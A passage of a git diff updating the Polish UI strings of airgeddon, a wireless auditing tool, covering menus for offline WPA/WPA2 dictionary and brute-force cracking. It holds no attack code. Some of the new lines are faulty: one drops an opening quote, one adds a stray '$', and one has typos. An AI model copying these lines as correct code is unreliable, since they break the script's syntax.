χρειάζεται να πλεικτρολογείτε το μονοπάτι χειροκίνητα" arr["ITALIAN",163]="Quando airgeddon chiede di introdurre il percorso di un file per utilizzare un dizionario, un Handshake o qualsiasi altra cosa, sapevi che puoi trascinare e rilasciare il file sulla finestra di airgeddon? Cosí non dovrai digitare manualmente il percorso" - arr["POLISH",163]="${pending_of_translation} Kiedy airgeddon poprosi Cię o wpisanie ścieżki do pliku, aby użyć słownika, Handshake lub cokolwiek innego, czy wiesz, że możesz przeciągnąć i upuścić plik przez okno airgeddon? Więc nie musisz wpisywać trasy ręcznie" + arr["POLISH",163]="Wiesz, że kiedy airgeddon poprosi Cię o podanie ścieżki do pliku aby użyć słownika, pliku Handshake lub cokolwiek innego, możesz przeciągnąć i upuścić plik przez okno airgeddon? Nie musisz wpisywać scieżki ręcznie" arr["ENGLISH",164]="Cleaning temp files" arr["SPANISH",164]="Limpiando archivos temporales" @@ -2118,7 +2118,7 @@ function language_strings() { arr["RUSSIAN",164]="Очистка временных файлов" arr["GREEK",164]="Γίνεται καθαρισμός προσωρινών αρχείων" arr["ITALIAN",164]="Pulendo i file temporanei" - arr["POLISH",164]="${pending_of_translation} Usuwanie tymczasowych plików" + arr["POLISH",164]="Usuwanie plików tymczasowych" arr["ENGLISH",165]="Checking if cleaning/restoring tasks are needed..." arr["SPANISH",165]="Comprobando si hay que realizar tareas de limpieza/restauración..." @@ -2128,7 +2128,7 @@ function language_strings() { arr["RUSSIAN",165]="Проверка, нужны ли задачи по очистке/восстановлению..." arr["GREEK",165]="Γίνεται έλεγχος αν χρειάζονται tasks καθαρισμού/αποκατάστασης..." arr["ITALIAN",165]="Verificando se è necessarrio eseguire la pulizia/restauro..." - arr["POLISH",165]="${pending_of_translation} Sprawdzenie czy wymagane jest czyszczenie/przywrócenie..." + arr["POLISH",165]="Sprawdzenie czy wymagane jest czyszczenie/przywrócenie..." arr["ENGLISH",166]="Do you want to preserve monitor mode for your card on exit? ${normal_color}${visual_choice}" arr["SPANISH",166]="¿Deseas conservar el modo monitor de tu interfaz al salir? ${normal_color}${visual_choice}" @@ -2138,7 +2138,7 @@ function language_strings() { arr["RUSSIAN",166]="Вы хотите сохранить режим монитора вашей карты при выходе? ${normal_color}${visual_choice}" arr["GREEK",166]="Θέλετε να παραμείνει η κάρτα σε κατάσταση παρακολούθησης κατά την έξοδο; ${normal_color}${visual_choice}" arr["ITALIAN",166]="Vuoi mantenere l'interfaccia in modalità monitor dopo essere uscito? ${normal_color}${visual_choice}" - arr["POLISH",166]="${pending_of_translation} Czy chcesz zachować tryb monitora podczas wychodzenia? ${normal_color}${visual_choice}" + arr["POLISH",166]="Czy chcesz zachować tryb monitorowania teojej karty sieciowej po wyjsciu? ${normal_color}${visual_choice}" arr["ENGLISH",167]="Putting your interface in managed mode" arr["SPANISH",167]="Poniendo interfaz en modo managed" @@ -2148,7 +2148,7 @@ function language_strings() { arr["RUSSIAN",167]="Перевод вашего интерфейса в управляемый режим" arr["GREEK",167]="Η διεπαφή μπαίνει σε ετερόκλητη κατάσταση" arr["ITALIAN",167]="Mettendo l'interfaccia in modalità managed" - arr["POLISH",167]="${pending_of_translation} Łączenie w trybie zarządzania" + arr["POLISH",167]="Uruchamianie w trybie zarządzania" arr["ENGLISH",168]="Launching previously killed processes" arr["SPANISH",168]="Arrancando procesos cerrados anteriormente" @@ -2158,7 +2158,7 @@ function language_strings() { arr["RUSSIAN",168]="Запуск ранее убитых процессов" arr["GREEK",168]="Γίνεται έναρξη των προηγούμενων σταματημένων διεργασιών" arr["ITALIAN",168]="Lanciando i processi chiusi precedentemente" - arr["POLISH",168]="${pending_of_translation} Uruchamianie wcześniej zamkniętych procesów" + arr["POLISH",168]="Uruchamianie wcześniej zakończonych procesów" arr["ENGLISH",169]="6. Offline WPA/WPA2 decrypt menu" arr["SPANISH",169]="6. Menú de desencriptado WPA/WPA2 offline" @@ -2168,7 +2168,7 @@ function language_strings() { arr["RUSSIAN",169]="6. Меню офлайн расшифровки WPA/WPA2" arr["GREEK",169]="6. Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",169]="6. Menù per decifrare WPA/WPA2 offline" - arr["POLISH",169]="${pending_of_translation} 6. Menu deszyfrowania offline WPA/WPA2" + arr["POLISH",169]=6. Menu deszyfrowania WPA/WPA2 offline" arr["ENGLISH",170]="Offline WPA/WPA2 decrypt menu" arr["SPANISH",170]="Menú de desencriptado WPA/WPA2 offline" @@ -2178,7 +2178,7 @@ function language_strings() { arr["RUSSIAN",170]="Меню офлайн расшифровки WPA/WPA2" arr["GREEK",170]="Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",170]="Menù per decifrare WPA/WPA2 offline" - arr["POLISH",170]="${pending_of_translation} Menu deszyfrowania offline WPA/WPA2" + arr["POLISH",170]="Menu deszyfrowania WPA/WPA2 offline" arr["ENGLISH",171]="The key decrypt process is performed offline on a previously captured file" arr["SPANISH",171]="El proceso de desencriptado de las claves se realiza de manera offline sobre un fichero capturado previamente" @@ -2188,7 +2188,7 @@ function language_strings() { arr["RUSSIAN",171]="Процесс расшифровки ключа выполняется офлайн на ранее захваченном файле" arr["GREEK",171]="Η διεργασία αποκρυπτογράφησης κλειδιού έχει εκτελεστεί offline σε προηγούμενο αρχείο καταγραφής" arr["ITALIAN",171]="Il processo di decodifica della chiave viene eseguito offline su un file catturato precedentemente" - arr["POLISH",171]="${pending_of_translation} Proces deszyfrowania kluczy odbywa się offline na poprzednio zrobionym pliku" + arr["POLISH",171]="Proces deszyfrowania klucza odbywa się offline na poprzednio przechwyconym pliku" arr["ENGLISH",172]="1. (aircrack) Dictionary attack against capture file" arr["SPANISH",172]="1. (aircrack) Ataque de diccionario sobre fichero de captura" @@ -2198,7 +2198,7 @@ function language_strings() { arr["RUSSIAN",172]="1. (aircrack) Атака по словарю в отношении захваченного файла" arr["GREEK",172]="1. (aircrack) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["ITALIAN",172]="1. (aircrack) Attacco dizionario sul file di cattura" - arr["POLISH",172]="${pending_of_translation} 1. (aircrack) Słownik ataku na plik przechwytywania" + arr["POLISH",172]="1. (aircrack) Atak słownikowy na plik przechwytywania" arr["ENGLISH",173]="Selected capture file: ${pink_color}${enteredpath}${normal_color}" arr["SPANISH",173]="Fichero de captura seleccionado: ${pink_color}${enteredpath}${normal_color}" @@ -2208,7 +2208,7 @@ function language_strings() { arr["RUSSIAN",173]="Выбранный файл захвата: ${pink_color}${enteredpath}${normal_color}" arr["GREEK",173]="Επιλεγμένο αρχείο καταγραφής: ${pink_color}${enteredpath}${normal_color}" arr["ITALIAN",173]="File di cattura selezionato: ${pink_color}${enteredpath}${normal_color}" - arr["POLISH",173]="${pending_of_translation} Wybrany plik przechwytywania: ${pink_color}${enteredpath}${normal_color}" + arr["POLISH",173]="Wybrany plik przechwytywania: ${pink_color}${enteredpath}${normal_color}" arr["ENGLISH",174]="6. Return to main menu" arr["SPANISH",174]="6. Volver al menú principal" @@ -2218,7 +2218,7 @@ function language_strings() { arr["RUSSIAN",174]="6. Возврат в главное меню" arr["GREEK",174]="6. Επιστροφή στο αρχικό μενού" arr["ITALIAN",174]="6. Torna al menú principale" - arr["POLISH",174]="${pending_of_translation} 6. Wróć do menu głównego" + arr["POLISH",174]="6. Wróć do menu głównego" arr["ENGLISH",175]="2. (aircrack + crunch) Bruteforce attack against capture file" arr["SPANISH",175]="2. (aircrack + crunch) Ataque de fuerza bruta sobre fichero de captura" @@ -2228,7 +2228,7 @@ function language_strings() { arr["RUSSIAN",175]="2. (aircrack + crunch) Атака методом грубой силы в отношении захваченного файла" arr["GREEK",175]="2. (aircrack + crunch) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["ITALIAN",175]="2. (aircrack + crunch) Attacco di forza bruta sul file di cattura" - arr["POLISH",175]="${pending_of_translation} 2. (aircrack + crunch) Brute force atak na przechwytywanie pliku" + arr["POLISH",175]="2. (aircrack + crunch) Atak brute force na pliku przechwytywania" arr["ENGLISH",176]="aircrack CPU, non GPU attacks" arr["SPANISH",176]="ataques aircrack CPU, no GPU" @@ -2238,7 +2238,7 @@ function language_strings() { arr["RUSSIAN",176]="aircrack атаки с использованием процессора, а не видеокарты" arr["GREEK",176]="επιθέσεις aircrack CPU, όχι GPU" arr["ITALIAN",176]="attacchi aircrack CPU, non GPU" - arr["POLISH",176]="${pending_of_translation} ataki CPU, na GPU" + arr["POLISH",176]="ataki CPU, nie GPU" arr["ENGLISH",177]="Selected captured file: ${pink_color}None${normal_color}" arr["SPANISH",177]="Fichero capturado seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2248,7 +2248,7 @@ function language_strings() { arr["RUSSIAN",177]="Выбран файл захвата: ${pink_color}Нет${normal_color}" arr["GREEK",177]="Επιλεγμένο αρχείο καταγραφής: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",177]="File catturato selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",177]="${pending_of_translation} Wybrany przechwycony plik: ${pink_color}Brak${normal_color}" + arr["POLISH",177]="Wybrany przechwycony plik: ${pink_color}Brak${normal_color}" arr["ENGLISH",178]="To decrypt the key of a WPA/WPA2 network, the capture file must contain a Handshake" arr["SPANISH",178]="Para desencriptar la clave de una red WPA/WPA2, el fichero de captura debe contener un Handshake" @@ -2258,7 +2258,7 @@ function language_strings() { arr["RUSSIAN",178]="Для расшифровки ключа сетей WPA/WPA2, файл захвата должен содержать четырёхэтапное рукопожатие" arr["GREEK",178]="Για να αποκρυπτογραφήσετε το κλειδί ενός WPA/WPA2 δικτύου, το αρχείο καταγραφής πρέπει να περιέχει μία Χειραψία" arr["ITALIAN",178]="Per decriptare la chiave per una rete WPA/WPA2, il file di cattura deve contenere un Handshake" - arr["POLISH",178]="${pending_of_translation} Aby odszyfrować klucz sieci WPA/WPA2, plik przechwytywania musi zawierać Handshake" + arr["POLISH",178]="Aby odszyfrować klucz sieci WPA/WPA2, plik przechwytywania musi zawierać Handshake" arr["ENGLISH",179]="Decrypting by bruteforce, it could pass hours, days, weeks or even months to take it depending on the complexity of the password and your processing speed" arr["SPANISH",179]="Desencriptando por fuerza bruta, podrían pasar horas, días, semanas o incluso meses hasta conseguirlo dependiendo de la complejidad de la contraseña y de tu velocidad de proceso" @@ -2268,7 +2268,7 @@ function language_strings() { arr["RUSSIAN",179]="Расшифровка полным перебором может занять часы, дни, недели или даже месяцы в зависимости от сложности пароля и вашей скорости обработки" arr["GREEK",179]="Αποκρυπτογραφώντας με χρήση ωμής βίας, μπορεί να περάσουν ώρες, μέρες, εβδομάδες ή ακόμη και μήνες για να το αποκτήσετε έχοντας υπόψιν την πολυπλοκότητα του κωδικού πρόσβασης και την ταχύτητα του επεξεργαστή" arr["ITALIAN",179]="Decifrando con forza bruta, potrebbero trascorrere ore, giorni, settimane o addirittura mesi per ottenere la password a seconda della sua complessità e della velocità del processore" - arr["POLISH",179]="${pending_of_translation} Przez odszyfrowywanie przez brutalne życie, mogli spędzić godziny, dni, tygodnie lub nawet miesiące, aby uzyskać to w zależności od złożoności hasła i szybkości przetwarzania" + arr["POLISH",179]="Odszyfrowywanie przez brut force może trwać godziny, dni, tygodnie lub nawet miesiące w zależności od złożoności hasła i szybkości przetwarzania" arr["ENGLISH",180]="Enter the path of a dictionary file :" arr["SPANISH",180]="Introduce la ruta de un fichero de diccionario :" @@ -2278,7 +2278,7 @@ function language_strings() { arr["RUSSIAN",180]="Введите путь до файла словаря :" arr["GREEK",180]="Εισάγετε το μονοπάτι ενός λεξικού :" arr["ITALIAN",180]="Immettere il percorso di un file dizionario :" - arr["POLISH",180]="${pending_of_translation} Wprowadź ścieżkę pliku słownika :" + arr["POLISH",180]="Wprowadź ścieżkę pliku słownika :" arr["ENGLISH",181]="The path to the dictionary file is valid. Script can continue..." arr["SPANISH",181]="La ruta al fichero de diccionario es válida. El script puede continuar..." @@ -2288,7 +2288,7 @@ function language_strings() { arr["RUSSIAN",181]="Путь до файла словаря правильный. Скрипт может продолжить..." arr["GREEK",181]="Το μονοπάτι για το λεξικό είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",181]="Il percorso del file dizionario è valido. Lo script può continuare..." - arr["POLISH",181]="${pending_of_translation} Ścieżka do pliku słownika jest prawidłowa. Skrypt może kontynuować..." + arr["POLISH",181]="Ścieżka do pliku słownika jest prawidłowa. Skrypt może kontynuować..." arr["ENGLISH",182]="Selected dictionary file: ${pink_color}${DICTIONARY}${normal_color}" arr["SPANISH",182]="Fichero de diccionario seleccionado: ${pink_color}${DICTIONARY}${normal_color}" @@ -2298,7 +2298,7 @@ function language_strings() { arr["RUSSIAN",182]="Выбранный файл словаря: ${pink_color}${DICTIONARY}${normal_color}" arr["GREEK",182]="Επιλεγμένο λεξικό: ${pink_color}${DICTIONARY}${normal_color}" arr["ITALIAN",182]="File di dizionario selezionato: ${pink_color}${DICTIONARY}${normal_color}" - arr["POLISH",182]="${pending_of_translation} Wybrany plik słownika: ${pink_color}${DICTIONARY}${normal_color}" + arr["POLISH",182]="Wybrany plik słownika: ${pink_color}${DICTIONARY}${normal_color}" arr["ENGLISH",183]="You already have selected a dictionary file during this session [${normal_color}${DICTIONARY}${blue_color}]" arr["SPANISH",183]="Ya tienes seleccionado un fichero de diccionario en esta sesión [${normal_color}${DICTIONARY}${blue_color}]" @@ -2308,7 +2308,7 @@ function language_strings() { arr["RUSSIAN",183]="Во время этой сессии вы выбрали файл словаря [${normal_color}${DICTIONARY}${blue_color}]" arr["GREEK",183]="Έχετε ήδη επιλέξει λεξικό κατά τη διάρκεια της συνεδρίας [${normal_color}${DICTIONARY}${blue_color}]" arr["ITALIAN",183]="È stato selezionato un file di dizionario in questa sessione [${normal_color}${DICTIONARY}${blue_color}]" - arr["POLISH",183]="${pending_of_translation} W tej sesji wybrano plik słownika [${normal_color}${DICTIONARY}${blue_color}]" + arr["POLISH",183]="W tej sesji wybrano plik słownika [${normal_color}${DICTIONARY}${blue_color}]" arr["ENGLISH",184]="Do you want to use this already selected dictionary file? ${normal_color}${visual_choice}" arr["SPANISH",184]="¿Quieres utilizar este fichero de diccionario ya seleccionado? ${normal_color}${visual_choice}" @@ -2318,7 +2318,7 @@ function language_strings() { arr["RUSSIAN",184]="Вы хотите использовать этот уже выбранный файл словаря? ${normal_color}${visual_choice}" arr["GREEK",184]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο λεξικό; ${normal_color}${visual_choice}" arr["ITALIAN",184]="Vuoi utilizzare questo file di dizionario già selezionato? ${normal_color}${visual_choice}" - arr["POLISH",184]="${pending_of_translation} Czy chcesz użyć tego pliku słownik już wybranego? ${normal_color}${visual_choice}" + arr["POLISH",184]="Czy chcesz użyć już wybraniego pliku słownika? ${normal_color}${visual_choice}" arr["ENGLISH",185]="Selected BSSID: ${pink_color}None${normal_color}" arr["SPANISH",185]="BSSID seleccionado: ${pink_color}Ninguno${normal_color}" @@ -2328,7 +2328,7 @@ function language_strings() { arr["RUSSIAN",185]="Выбранная BSSID: ${pink_color}Нет${normal_color}" arr["GREEK",185]="Επιλεγμένο BSSID: ${pink_color}Κανένα${normal_color}" arr["ITALIAN",185]="BSSID selezionato: ${pink_color}Nessuno${normal_color}" - arr["POLISH",185]="${pending_of_translation} Wybrany BSSID: ${pink_color}Brak${normal_color}" + arr["POLISH",185]="Wybrany BSSID: ${pink_color}Brak${normal_color}" arr["ENGLISH",186]="You already have selected a capture file during this session [${normal_color}${enteredpath}${blue_color}]" arr["SPANISH",186]="Ya tienes seleccionado un fichero de captura en esta sesión [${normal_color}${enteredpath}${blue_color}]" @@ -2338,7 +2338,7 @@ function language_strings() { arr["RUSSIAN",186]="Вы уже выбрали файл захвата во время этой сессии [${normal_color}${enteredpath}${blue_color}]" arr["GREEK",186]="Έχετε ήδη επιλέξει αρχείο καταγραφής κατά τη διάρκεια της συνεδρίας [${normal_color}${enteredpath}${blue_color}]" arr["ITALIAN",186]="È stato selezionato un file di cattura in questa sessione [${normal_color}${enteredpath}${blue_color}]" - arr["POLISH",186]="${pending_of_translation} W tej sesji wybrano już plik przechwytywania [${normal_color}${enteredpath}${blue_color}]" + arr["POLISH",186]="W tej sesji wybrano już plik przechwytywania [${normal_color}${enteredpath}${blue_color}]" arr["ENGLISH",187]="Do you want to use this already selected capture file? ${normal_color}${visual_choice}" arr["SPANISH",187]="¿Quieres utilizar este fichero de captura ya seleccionado? ${normal_color}${visual_choice}" @@ -2348,7 +2348,7 @@ function language_strings() { arr["RUSSIAN",187]="Вы хотите использовать этот уже выбранный файл захвата? ${normal_color}${visual_choice}" arr["GREEK",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής; ${normal_color}${visual_choice}" arr["ITALIAN",187]="Vuoi utilizzare questo file di cattura giá selezionato? ${normal_color}${visual_choice}" - arr["POLISH",187]="${pending_of_translation} Czy chcesz użyć już wybranego pliku przechwytywania? ${normal_color}${visual_choice}" + arr["POLISH",187]="Czy chcesz użyć już wybranego pliku przechwytywania? ${normal_color}${visual_choice}" arr["ENGLISH",188]="Enter the path of a captured file :" arr["SPANISH",188]="Introduce la ruta de un fichero de captura :" @@ -2358,7 +2358,7 @@ function language_strings() { arr["RUSSIAN",188]="Введите путь файла захвата :" arr["GREEK",188]="Εισάγετε το μονοπάτι για ένα αρχείο καταγραφής :" arr["ITALIAN",188]="Immettere il percorso di un file di cattura :" - arr["POLISH",188]="${pending_of_translation} Wprowadź ścieżkę pliku przechwytywania :" + arr["POLISH",188]="Wprowadź ścieżkę do pliku przechwytywania :" arr["ENGLISH",189]="The path to the capture file is valid. Script can continue..." arr["SPANISH",189]="La ruta al fichero de captura es válida. El script puede continuar..." @@ -2368,7 +2368,7 @@ function language_strings() { arr["RUSSIAN",189]="Путь до файла захвата верен. Скрипт может продолжать..." arr["GREEK",189]="Το μονοπάτι για το αρχείο καταγραφής είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["ITALIAN",189]="Il percorso del file di cattura è valido. Lo script può continuare..." - arr["POLISH",189]="${pending_of_translation} Ścieżka do pliku przechwytywania jest prawidłowa. Skrypt może kontynuować..." + arr["POLISH",189]="Ścieżka do pliku przechwytywania jest prawidłowa. Skrypt może kontynuować..." arr["ENGLISH",190]="Starting decrypt. When started, press [Ctrl+C] to stop..." arr["SPANISH",190]="Comenzando desencriptado. Una vez empezado, pulse [Ctrl+C] para pararlo..." @@ -2378,7 +2378,7 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." arr["ITALIAN",190]="Cominciando a decifrare. Una volta avviato, premere [Ctrl+C] per fermare..." - arr["POLISH",190]="${pending_of_translation} Uruchamianie odszyfrowane. Po rozpoczęciu naciśnij [Ctrl+C], aby go zatrzymać..." + arr["POLISH",190]="Uruchamianie odszyfrowania. Naciśnij [Ctrl+C] w trakcie trwania aby go zatrzymać..." arr["ENGLISH",191]="${blue_color}airgeddon can't find the directory path where you have BeEF installed. ${green_color}Do you want to enter it manually? ${normal_color}${visual_choice}" arr["SPANISH",191]="${blue_color}airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ${green_color}¿Quieres introducirla manualmente? ${normal_color}${visual_choice}" @@ -2388,7 +2388,7 @@ function language_strings() { arr["RUSSIAN",191]="${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите ввести его вручную? ${normal_color}${visual_choice}" arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}${visual_choice}" arr["ITALIAN",191]="${blue_color}airgeddon non ha potuto trovare il percorso della directory in cui è stato installato BeEF. ${green_color}Vuoi inserirlo manualmente? ${normal_color}${visual_choice}" - arr["POLISH",191]="${pending_of_translation} ${blue_color}airgeddon nie mógł znaleźć ścieżki katalogu, w której zainstalowano system BeEF. ${green_color}Czy chcesz go wprowadzić ręcznie? ${normal_color}${visual_choice}" + arr["POLISH",191]="${blue_color}airgeddon nie mógł znaleźć ścieżki, w której zainstalowano BeEF. ${green_color}Czy chcesz ją wprowadzić ręcznie? ${normal_color}${visual_choice}" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [${normal_color}${bssid}${blue_color}]" @@ -2398,7 +2398,7 @@ function language_strings() { arr["RUSSIAN",192]="У вас уже есть выбранная во время этой сессии BSSID и она присутствует в файле захвата [${normal_color}${bssid}${blue_color}]" arr["GREEK",192]="Έχετε ήδη επιλέξει BSSID κατά τη διάρκεια της συνεδρίας και βρίσκεται στο αρχείο καταγραφής [${normal_color}${bssid}${blue_color}]" arr["ITALIAN",192]="È stato selezionato un BSSID in questa sessione che è giá presente nel file di cattura [${normal_color}${bssid}${blue_color}]" - arr["POLISH",192]="${pending_of_translation} Wybrano już BSSID w tej sesji i jest on obecny w pliku przechwytywania [${normal_color}${bssid}${blue_color}]" + arr["POLISH",192]="Wybrano już BSSID w tej sesji i jest on obecny w pliku przechwytywania [${normal_color}${bssid}${blue_color}]" arr["ENGLISH",193]="Do you want to use this already selected BSSID? ${normal_color}${visual_choice}" arr["SPANISH",193]="¿Quieres utilizar este BSSID ya seleccionado? ${normal_color}${visual_choice}" @@ -2408,7 +2408,7 @@ function language_strings() { arr["RUSSIAN",193]="Вы хотите использовать эту уже выбранную BSSID? ${normal_color}${visual_choice}" arr["GREEK",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID; ${normal_color}${visual_choice}" arr["ITALIAN",193]="Vuoi usare questo BSSID già selezionato? ${normal_color}${visual_choice}" - arr["POLISH",193]="${pending_of_translation} Czy chcesz użyć tego BSSID już wybranego? ${normal_color}${visual_choice}" + arr["POLISH",193]="Czy chcesz użyć już wybranego BSSID? ${normal_color}${visual_choice}" arr["ENGLISH",194]="Enter the minimum length of the key to decrypt (8-63) :" arr["SPANISH",194]="Introduce la longitud mínima de la clave a desencriptar (8-63) :" @@ -2418,7 +2418,7 @@ function language_strings() { arr["RUSSIAN",194]="Введите минимальную длину ключа для расшифровки (8-63) :" arr["GREEK",194]="Εισάγετε το ελάχιστο μήκος κλειδιού για αποκρυπτογράφηση (8-63) :" arr["ITALIAN",194]="Inserire la lunghezza minima della chiave da decifrare (8-63) :" - arr["POLISH",194]="${pending_of_translation} Wpisz minimalną długość klucza do odszyfrowania (8-63) :" + arr["POLISH",194]="Wpisz minimalną długość klucza do odszyfrowania (8-63) :" arr["ENGLISH",195]="Enter the maximum length of the key to decrypt (${minlength}-63) :" arr["SPANISH",195]="Introduce la longitud máxima de la clave a desencriptar (${minlength}-63) :" @@ -2428,7 +2428,7 @@ function language_strings() { arr["RUSSIAN",195]="Введите максимальную длину ключа для расшифровки (${minlength}-63) :" arr["GREEK",195]="Εισάγετε το μέγιστο μήκος κλειδιού για αποκρυπτογράφηση (${minlength}-63) :" arr["ITALIAN",195]="Inserire la lunghezza massima della chiave da decifrare (${minlength}-63) :" - arr["POLISH",195]="${pending_of_translation} Wpisz maksymalną długość klucza do odszyfrowania (${minlength}-63) :" + arr["POLISH",195]="Wpisz maksymalną długość klucza do odszyfrowania (${minlength}-63) :" arr["ENGLISH",196]="Select the character set to use :" arr["SPANISH",196]="Selecciona el juego de caracteres a utilizar :" @@ -2438,7 +2438,7 @@ function language_strings() { arr["RUSSIAN",196]="Выберите набор символов для использования :" arr["GREEK",196]="Επιλέξτε το σετ χαρακτήρων που θα χρησιμοποιηθεί :" arr["ITALIAN",196]="Selezionare il set di caratteri da utilizzare :" - arr["POLISH",196]="${pending_of_translation} Wybierz zestaw znaków do użycia :" + arr["POLISH",196]="Wybierz zestaw znaków do użycia :" arr["ENGLISH",197]="1. Lowercase chars" arr["SPANISH",197]="1. Caracteres en minúsculas" @@ -2448,7 +2448,7 @@ function language_strings() { arr["RUSSIAN",197]="1. Символы нижнего регистра" arr["GREEK",197]="1. Πεζά" arr["ITALIAN",197]="1. Caratteri minuscoli" - arr["POLISH",197]="${pending_of_translation} 1. Małe litery" + arr["POLISH",197]="1. Małe litery" arr["ENGLISH",198]="2. Uppercase chars" arr["SPANISH",198]="2. Caracteres en mayúsculas" @@ -2458,7 +2458,7 @@ function language_strings() { arr["RUSSIAN",198]="2. Символы верхнего регистра" arr["GREEK",198]="2. Κεφαλαία" arr["ITALIAN",198]="2. Caratteri maiuscoli" - arr["POLISH",198]="${pending_of_translation} 2. Wielkie litery" + arr["POLISH",198]="2. Wielkie litery" arr["ENGLISH",199]="3. Numeric chars" arr["SPANISH",199]="3. Caracteres numéricos" @@ -2468,7 +2468,7 @@ function language_strings() { arr["RUSSIAN",199]="3. Цифры" arr["GREEK",199]="3. Αριθμοί" arr["ITALIAN",199]="3. Caratteri numerici" - arr["POLISH",199]="${pending_of_translation} 3. Znaki liczbowe" + arr["POLISH",199]="3. Cyfry" arr["ENGLISH",200]="4. Symbol chars" arr["SPANISH",200]="4. Caracteres símbolos" @@ -2478,7 +2478,7 @@ function language_strings() { arr["RUSSIAN",200]="4. Символы" arr["GREEK",200]="4. Σύμβολα" arr["ITALIAN",200]="4. Simboli" - arr["POLISH",200]="${pending_of_translation} 4. Symbole znaków" + arr["POLISH",200]="4. Symbole" arr["ENGLISH",201]="5. Lowercase + uppercase chars" arr["SPANISH",201]="5. Caracteres en minúsculas + mayúsculas" @@ -2488,7 +2488,7 @@ function language_strings() { arr["RUSSIAN",201]="5. Буквы верхнего + нижнего регистра" arr["GREEK",201]="5. Πεζά + κεφαλαία" arr["ITALIAN",201]="5. Caratteri minuscoli + maiuscoli" - arr["POLISH",201]="${pending_of_translation} 5. Znaki małe + wielkie" + arr["POLISH",201]="5. Małe + wielkie litery" arr["ENGLISH",202]="6. Lowercase + numeric chars" arr["SPANISH",202]="6. Caracteres en minúsculas + numéricos" @@ -2498,7 +2498,7 @@ function language_strings() { arr["RUSSIAN",202]="6. Буквы нижнего регистра + цифры" arr["GREEK",202]="6. Πεζά + αριθμοί" arr["ITALIAN",202]="6. Caratteri minuscoli + numerici" - arr["POLISH",202]="${pending_of_translation} 6. Małe + numeryczne znaki" + arr["POLISH",202]="6. Małe litery + cyfry" arr["ENGLISH",203]="7. Uppercase + numeric chars" arr["SPANISH",203]="7. Caracteres en mayúsculas + numéricos" @@ -2508,7 +2508,7 @@ function language_strings() { arr["RUSSIAN",203]="7. Буквы верхнего регистра + цифры" arr["GREEK",203]="7. Κεφαλαία + αριθμοί" arr["ITALIAN",203]="7. Caratteri numerici + maiuscoli" - arr["POLISH",203]="${pending_of_translation} 7. Wielkie + numeryczne znaki" + arr["POLISH",203]="7. Wielkie litery + cyfry" arr["ENGLISH",204]="8. Symbol + numeric chars" arr["SPANISH",204]="8. Caracteres símbolos + numéricos" @@ -2518,7 +2518,7 @@ function language_strings() { arr["RUSSIAN",204]="8. Символы + цифры" arr["GREEK",204]="8. Σύμβολα + αριθμοί" arr["ITALIAN",204]="8. simboli + numeri" - arr["POLISH",204]="${pending_of_translation} 8. Znaki liczbowe + symboliczne" + arr["POLISH",204]="8. Cyfry + symbole" arr["ENGLISH",205]="9. Lowercase + uppercase + numeric chars" arr["SPANISH",205]="9. Caracteres en minúsculas + mayúsculas + numéricos" @@ -2528,7 +2528,7 @@ function language_strings() { arr["RUSSIAN",205]="9. Буквы нижнего регистра + верхнего регистра + цифры" arr["GREEK",205]="9. Πεζά + κεφαλαία + αριθμοί" arr["ITALIAN",205]="9. Caratteri minuscoli + maiuscoli + numeri" - arr["POLISH",205]="${pending_of_translation} 9. Małe litery + wielkie litery + cyfry" + arr["POLISH",205]="9. Małe litery + wielkie litery + cyfry" arr["ENGLISH",206]="10. Lowercase + uppercase + symbol chars" arr["SPANISH",206]="10. Caracteres en minúsculas + mayúsculas + símbolos" @@ -2538,7 +2538,7 @@ function language_strings() { arr["RUSSIAN",206]="10. Буквы нижнего регистра + верхнего регистра + символы" arr["GREEK",206]="10. Πεζά + κεφαλαία + σύμβολα" arr["ITALIAN",206]="10. Caratteri minuscoli + maiuscoli + simboli" - arr["POLISH",206]="${pending_of_translation} 10. Małe litery + wielkie + symbole" + arr["POLISH",206]="10. Małe litery + wielkie + symbole" arr["ENGLISH",207]="11. Lowercase + uppercase + numeric + symbol chars" arr["SPANISH",207]="11. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" @@ -2548,7 +2548,7 @@ function language_strings() { arr["RUSSIAN",207]="11. Буквы нижнего регистра + верхнего регистра + цифры + символы" arr["GREEK",207]="11. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["ITALIAN",207]="11. Caratteri minuscoli + maiuscoli + numeri + simboli" - arr["POLISH",207]="${pending_of_translation} 11. Małe litery + wielkie + cyfry + symbole" + arr["POLISH",207]="$11. Małe litery + wielkie litery + cyfry + symbole" arr["ENGLISH",208]="If you choose a big charset and a long key length, the proccess could take so much time" arr["SPANISH",208]="Si eliges un juego de caracteres amplio y una longitud de clave grande, el proceso podría demorarse mucho tiempo" @@ -2558,7 +2558,7 @@ function language_strings() { arr["RUSSIAN",208]="Если вы выберете большой набор символов и большую длинну ключа, процесс может занять очень много времени" arr["GREEK",208]="Αν επιλέξετε μεγάλη συμβολοσειρά και μεγάλο μήκος κλειδιού, η διεργασία θα διαρκέσει αρκετά" arr["ITALIAN",208]="Se si sceglie un set di caratteri grande e 